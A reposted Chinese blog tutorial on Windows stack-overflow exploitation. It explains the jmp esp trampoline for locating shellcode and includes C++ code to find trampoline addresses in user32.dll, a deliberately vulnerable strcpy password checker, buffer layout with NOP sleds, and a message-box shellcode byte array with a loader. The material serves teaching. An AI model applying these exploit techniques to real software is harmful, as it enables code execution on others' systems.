开发shellcode的艺术

 专业术语

  • ShellCode:实际是一段代码(也可以是填充数据)

  • exploit:攻击通过ShellCode等方法攻击漏洞

 栈帧移位与jmp esp

  一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置。可以通过OD调试看的到。

  • 注:函数返回时,ESP所指的位置还与函数调用约定、返回指令有关系。例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异。

  由于ESP寄存器在函数返回之后不被栈溢出控制,且始终指向返回地址的下一个位置

  我们可以使用一种“黑科技”如下图定位ShellCode的方法来动态定位。

 

  • (1)用内存中任意一个jmp esp 指令覆盖函数的返回地址,而不是向上一次的“栈溢出原理与实现”中的例子那样去通过OD手动查出ShellCode起始地址直接覆盖。

  • (2)函数返回后被重定向去执行内存中的这条jum esp指令,而不是直接开始执行ShellCode。

  • (3)由于esp在函数返回时任然指向栈区(函数返回地址之后),jmp esp指令被执行之后,处理器会找到栈区函数的返回地址之后的地方取指令执行。

  • (4)重新布置ShellCode。在淹没函数返回地址之后,继续淹没一片栈空间,将缓冲区前边的一段地方任意数据填充,把ShellCode恰好的摆放在函数的返回地址之后。这样,jmp

     esp 指令执行过后会恰好跳进ShellCode。

  这种定位ShellCode的方法使用进程空间里的一条jmp esp 指令作为“跳板”,不论栈帧怎么移位,都能够精确的跳回栈区,从而适应程序运行中ShellCode内存地址的动态变化。

  1998年,黑客组织“Cult of the Dead Cow”的Dlidog在Bugtrq邮件列表中以MIcrosoft Netmeeting为例首次提出利用jmp esp完成对ShellCode的动态定位,从而解决了Windows下栈

帧移位问题给开发稳定的exploit带来的重重困难。毫不夸张的讲,跳板技术应该算是Windows栈溢出利用技术里的一个里程碑。

 获取“跳板”地址

 

复制代码
 1 #include<iostream>
 2 #include <WINDOWS.H>
 3 using namespace std;
 4 
 5 int main()
 6 {
 7     BYTE* ptr = NULL;
 8     int position = 0;
 9     int address  = 0;
10     BOOL bDone = FALSE;
11     HINSTANCE handle = LoadLibrary("user32.dll");
12 
13     if(handle==NULL)
14     {
15         printf("Dll Load Failed!");
16         exit(0);
17     }
18 
19     ptr = (BYTE*)handle;
20 
21     for (position=0;!bDone;position++)
22     {
23         try
24         {
25             if(ptr[position]==0xFF&&ptr[position+1]==0xE4)
26             {
27                 //OxFFE4 是 jmp esp 的汇编指令
28                 address = (int)ptr +position;
29                 printf("the jmp address if 0x%x\n",address);
30                 break;
31             }
32 
33         }
34         catch (...)
35         {
36             address = (int)ptr +position;
37             printf("End of 0x%x\n",address);
38             bDone = TRUE;
39         }
40     }
41 
42     return 0;
43 }
复制代码

 

  Jmp esp 对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存指针值。

  这是通过我们代码找到的跳板的位置如下:

    

 使用“跳板”定位的exploit

  我们使用上面的出的“跳板地址”0x777f305b,作为我们执行jmp esp 的指令,通过获得user32和kernel32基地址,计算出MessageBoxA和ExitProcess的函数地址,我们开始构建我们的ShellCode。

 

复制代码
#include <IOSTREAM>
#include <Windows.h>
using namespace std;
int main()
{
    HINSTANCE hLibrary = LoadLibrary("user32.dll");
    //768c0000 kernel32.dll


/*    测试     ExitProcess(0) 函数是否可用  其地址 0x768c0000 kernel32.dll
    _asm
    {
        xor  ebx,ebx
        push ebx
        mov  eax,0x768E9850
        call eax
    }
*/
    _asm
    {
        xor  ebx,ebx
        push ebx 
        push 0x74736577  //字符串
        push 0x6c696166
        mov  eax,esp
        push ebx
        push eax
        push eax
        push ebx
        mov  eax,0x777D74C0 //MessageBoxA
        call eax
        push ebx
        mov  eax,0x768E9850 //ExitProcess
        call eax
    }
    return 0;
}
复制代码

 

   为了提取汇编代码的对应的机器码,我们将上述代码用VC编译通过之后,通过OD加载调试,获取该段汇编的机器码,机器码如下:

       

  通过二进制编辑器,将代码写入文件

  

  我们将读取文件,通过栈溢出,使得ShellCode放到合适的位置

 

复制代码
#include <IOSTREAM>
#include <Windows.h>
using namespace std;
#define  PASS_WORD "1234567"
int verify_password(char* password)
{
    int  authentitated;
    char szBuffer[44];
    authentitated = strcmp(password,PASS_WORD);
    strcpy(szBuffer,password);
    return authentitated;
}
int main()
{
    int valid_flag = 0;
    char password[1024] = {0};
    FILE* fp ;
    fp=fopen("password.txt","rw+");
    
    HMODULE h = LoadLibrary("user32.dll");  
    
    printf("%x\r\n",h);
    
    //0x77760000
    //0x000774C0
    //0x777D74C0  //MessageBox地址
    //0x0018FA88  //buffer 中的地址
    
    if(fp==NULL)
    {
        exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\r\n");
    }
    else
    {
        printf("Congratulation! you have passed the verification!\r\n");
    }
    fclose(fp);
    return 0;
}
复制代码

 

  编译运行,发现程序运行正常,且正常退出,我们成功啦!运行结果就不截图了。

 缓冲区组织

  如果使用jmp esp 作为定位ShellCode的跳板,那么在函数返回后要根据缓冲区的大小、所需ShellCode的长度等实际情况灵活的布置缓冲区。送入缓冲区的数据可以分为以下几种:

  • (1)填充物:可以是任何值,但是一般用NOP指令对应的0x90来填充缓冲区,并把ShellCode布置于其后,这样即使不能准确的跳到ShellCode的开始,只要能跳进填充区域,
       处理器最终也会执行到ShellCode。

  • (2)淹没返回地址的数据:可以是跳转指令的地址、ShellCode的起始地址,甚至是一个近似ShellCode地址的地址。

  • (3)ShellCode:可执行的机器代码。

  我们上面这么做难道就没有问题吗?如果我们的ShellCode超过函数返回地址以后将是前一个栈的栈帧,我们平时开发一个有用的ShellCode往往需要几百个字节,这样大范围的破坏

栈帧数据可能会引发一些其他的问题。例如,若想在执行完ShellCode通过修复寄存器的值,让函数正常返回继续执行原程序,就不能随意破坏栈帧数据。

 抬高栈顶保护ShellCode

  将ShellCode布置在缓冲区中虽然有不少的好处,但是也会产生问题。函数返回时,当前栈帧弹出,这时候缓冲区位于栈顶ESP之上的内存区域。在弹出栈帧时只是改变了ESP寄存器

中的值,逻辑上ESP以上的内存空间的数据已经作废,物理上这些数据并没有被销毁。如果ShellCode中没有压栈指令向栈中  写入数据就没有太大的影响;但是如果使用push指令在栈

中暂存数据,压栈数据就有可能破坏到ShellCode本身。

  当缓冲区相对于ShellCode较大时,把ShellCode布置在缓冲区的“前端”(内存低地址方向),这是ShellCode离栈顶较远,几次压栈只可能破坏到一些Nop值;但是,如果缓冲区已经

被我们的ShellCode占满,则要执行的ShellCode就离栈顶比较近,这样的情况就很危险了。如果存在push压栈操作,导致ESP 向低地址方向移动,我们构建的ShellCode就会遭到破坏。

  所以,为了使得ShellCode具有较强的通用性,我们通常会在ShellCode一开始的范围就抬高栈顶,把ShellCode藏在栈内,从而达到保护ShellCode的作用。

  过程如下图:

       

 

 使用其他跳转指令

  使用jmp esp做“跳板”的方法是最简单,也是最常用的定位ShellCode的方法。在实际的漏洞利用过程中,应当注意观察漏洞函数返回时所有寄存器的值。除了ESP之外,EAX、EBX、ESI等

寄存器也会指向栈顶附近,故在选择跳转指令时也可以灵活一些,除了jmp esp之外,mov eax、esp和jmp eax等序列亦可以完成进入栈的功能。

  常用的跳转指令与机器码之间的对应关系:

  可以使用我们上面的程序,来获得这其中任意一个跳转指令在加载模块中的地址。

 ShellCode的加载与调试

  ShellCode最常见的形式就是用转移字符把机器码存在一个数组中,如我们之前弹出消息框并能够退出程序的ShellCode就可以存成以下的形式。

 

复制代码
#include<iostream>
using namespace std;
int main()
{
    //777D74C0 768E9850
    char Shell_Code[]=
        "\x66\x81\xEC\x40\x04"
        "\x33\xDB"
        "\x53"
        "\x68\x77\x65\x73\x74"
        "\x68\x66\x61\x69\x6C"
        "\x8B\xc4"
        "\x53"
        "\x50"
        "\x50"
        "\x53"
        "\xB8\xC0\x74\x7D\x77"
        "\xFF\xD0"
        "\x53"
        "\xB8\x50\x98\x8E\x76"
        "\xFF\xD0";
    _asm
    {
        lea eax,Shell_Code
        push eax
        ret
    }
    return 0;
}
复制代码

 

  ret指令会将push进去的ShellCode在栈中的位置弹给EIP,让处理器去跳过去执行ShellCode,我们可以用这个程序运行搜索到的ShellCode,并调试它。

若发现不能满足需求,可以在原先的基础上修改,增加功能。

转载于:https://www.cnblogs.com/wh4am1/p/6619073.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值